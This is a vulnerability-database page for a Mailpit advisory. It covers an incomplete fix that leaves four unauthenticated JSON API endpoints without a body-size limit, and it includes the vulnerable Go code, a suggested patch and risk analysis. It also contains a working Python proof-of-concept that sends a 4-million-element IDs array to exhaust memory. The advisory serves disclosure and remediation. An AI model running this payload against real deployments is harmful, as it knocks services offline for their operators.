Skip to main content

Mailpit CVE-2026-48824

MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-07-01 https://github.com/axllent/mailpit GHSA-28pq-6qxg-wg5r
5.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
vuln.today AI
7.5 HIGH

Network-reachable and unauthenticated by default; availability rated High because unbounded ~28× memory amplification with no inter-request cleanup can exhaust host RAM and terminate the process.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 21:17 vuln.today

DescriptionGitHub Advisory

Summary

The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only POST /api/v1/send with http.MaxBytesReader. The four other Mailpit JSON-body API endpoints PUT /api/v1/messages (SetReadStatus), DELETE /api/v1/messages (DeleteMessages), PUT /api/v1/tags (SetMessageTags), and POST /api/v1/message/{id}/release (ReleaseMessage) still call json.NewDecoder(r.Body) directly with no body-size cap and remain reachable unauthenticated in the default docker run axllent/mailpit:latest deploy. An unauthenticated remote attacker can post a multi-million-element IDs slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.

Affected versions

  • Mailpit at HEAD 67a7ca83ff759082d2b86dda07eb5bb3dad404e0 (v1.30.0, 2026-05-14).
  • All versions <= v1.30.0 (the release that shipped the GHSA-fpxj fix). Versions < v1.30.0 are vulnerable to the original GHSA-fpxj on /api/v1/send; version v1.30.0 carries the sibling-endpoint gap described here.

Privilege required

None in default deploy (no --ui-auth, no --smtp-auth). The four endpoints share the same middleWareFunc wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With --ui-auth=user:pass configured, the same primitive is post-auth - still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.

The incomplete fix

Commit 136bdde ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the MaxBytesReader wrap in exactly one place:

go
// server/apiv1/send.go:45-48
if config.MaxMessageSize > 0 {
    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}

decoder := json.NewDecoder(r.Body)

The sibling JSON-body handlers were not updated. Side-by-side at HEAD 67a7ca8:

FileFunctionMaxBytesReader?Unauth in default deploy?
server/apiv1/send.go:45-48 (SendMessageHandler)POST /api/v1/sendYES (50 MB)YES (via sendAPIAuthMiddleware falling back to middleWareFunc)
server/apiv1/messages.go:107 (SetReadStatus)PUT /api/v1/messagesNOYES
server/apiv1/messages.go:187 (DeleteMessages)DELETE /api/v1/messagesNOYES
server/apiv1/tags.go:54 (SetMessageTags)PUT /api/v1/tagsNOYES
server/apiv1/release.go:55 (ReleaseMessage)POST /api/v1/message/{id}/releaseNOYES

The four sibling handlers all share the shape:

go
// server/apiv1/messages.go:107-115 (SetReadStatus)
decoder := json.NewDecoder(r.Body)

var data struct {
    Read   bool
    IDs    []string
    Search string
}

err := decoder.Decode(&data)

No MaxBytesReader, no body-size cap, no r.Header.Get("Content-Length") check. The json.NewDecoder streams the body but each "x" element materialises as a separate Go string plus slice-header overhead, so the unmarshalled []string slice for IDs grows roughly linearly with attacker payload size.

Vulnerable code

server/apiv1/messages.go:107:

go
func SetReadStatus(w http.ResponseWriter, r *http.Request) {
    decoder := json.NewDecoder(r.Body)

    var data struct {
        Read   bool
        IDs    []string
        Search string
    }

    err := decoder.Decode(&data)
    if err != nil {
        httpError(w, err.Error())
        return
    }
    // ...

Three other handlers (DeleteMessages, SetMessageTags, ReleaseMessage) match the same shape.

Reachability chain (default deploy)

Listen()
# config/config.go HTTPListen = "[::]:8025"
   ↓
HTTP server
# server/server.go:177-186
   ↓
middleWareFunc(apiv1.SetReadStatus)
# server/server.go:178 - auth bypassed when UICredentials == nil
   ↓
SetReadStatus
# server/apiv1/messages.go:87
   ↓
json.NewDecoder(r.Body).Decode(&data)
# no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]}
   ↓
RSS grows ~28x relative to payload size

config/config.go's MaxMessageSize field (added by 136bdde) exists and is parsed from --max-message-size (default 50 MB), but it is checked only in server/apiv1/send.go. The four sibling handlers never consult it.

Reproduction (E2E against axllent/mailpit:latest v1.30.0)

bash
# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest
# 2) baseline RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 8.473MiB / 5.772GiB
# 3) trigger
python3 - <<'PY'
import socket
N = 4_000_000
prefix = b'{"Read": true, "IDs": ['
items  = b'"x"' + (b',"x"' * (N - 1))
suffix = b']}'
clen   = len(prefix) + len(items) + len(suffix)
s = socket.create_connection(("localhost", 18025), timeout=300)
s.sendall(
    b"PUT /api/v1/messages HTTP/1.1\r\n"
    b"Host: localhost:18025\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(clen).encode() + b"\r\n"
    b"Connection: close\r\n\r\n")
s.sendall(prefix)
rem = items
while rem:
    s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]
s.sendall(suffix)
s.close()
PY
# 4) post-PoC RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 455.8MiB / 5.772GiB

Observed: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.

The same primitive reproduces on DELETE /api/v1/messages, PUT /api/v1/tags, and POST /api/v1/message/{any-id}/release with identical body shapes; each of the four endpoints individually reproduces the same amplification.

Impact

  • Pre-auth remote memory-exhaustion DoS. Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on [::]:8025. A single TCP connection sending one ~100 MB JSON IDs body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.
  • Disk amplification (secondary). The IDs slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For SetReadStatus, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in len(ids).
  • Same threat model as the parent. The maintainer chose 50 MB as the default cap for /api/v1/send to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.

Suggested fix

Apply the same MaxBytesReader pattern already proven on send.go to every JSON-body handler. Concretely, wrap each of the four sibling sites:

go
// server/apiv1/messages.go:107  (SetReadStatus)
if config.MaxMessageSize > 0 {
    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)

// server/apiv1/messages.go:187  (DeleteMessages) - same wrap
// server/apiv1/tags.go:54       (SetMessageTags) - same wrap
// server/apiv1/release.go:55    (ReleaseMessage)  - same wrap

A cleaner shape is to factor the cap into the existing middleWareFunc wrapper in server/server.go, so every API handler that is not an upload-style endpoint inherits the cap by default.

Credit

Reported by tonghuaroot.

AnalysisAI

{id}/release still call json.NewDecoder(r.Body) with no body-size cap, allowing a remote unauthenticated attacker to drive process RSS from ~8 MB baseline to ~450 MB with a single 16 MB request (~28× amplification), with no memory recovery between requests. A working proof-of-concept with exact reproduction steps is published in the advisory; no KEV status confirmed at time of analysis.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify Mailpit port 8025 accessible on network
Delivery
Send unauthenticated PUT /api/v1/messages with oversized IDs JSON array
Exploit
Go json.NewDecoder allocates millions of heap strings with no size cap
Execution
RSS grows ~28× relative to payload size per request
Persist
Repeat across concurrent connections to accumulate RSS
Impact
Process OOM-killed or host memory exhausted

Vulnerability AssessmentAI

Exploitation No special conditions required for default deployments: the default `docker run axllent/mailpit:latest` configuration listens unauthenticated on `[::]:8025` with no `--ui-auth` flag, and `middleWareFunc` bypasses credential checks when `UICredentials == nil`. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The official CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L scores 5.3 (Medium). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with TCP access to Mailpit's default port 8025 - common in Docker-based CI environments or developer workstations with misconfigured port bindings - sends a single unauthenticated HTTP PUT to `/api/v1/messages` with a JSON body containing an `IDs` array of 4 million short strings (~16 MB total). Go's JSON decoder allocates each element as a separate heap string, driving Mailpit's RSS from ~8 MB to ~450 MB; repeating the request across multiple concurrent connections accumulates RSS linearly until the host OOM-killer terminates the process. …
Remediation No vendor-released patched version is confirmed in the available data at time of analysis - monitor the upstream advisory at https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r for a fix release. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-48824 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy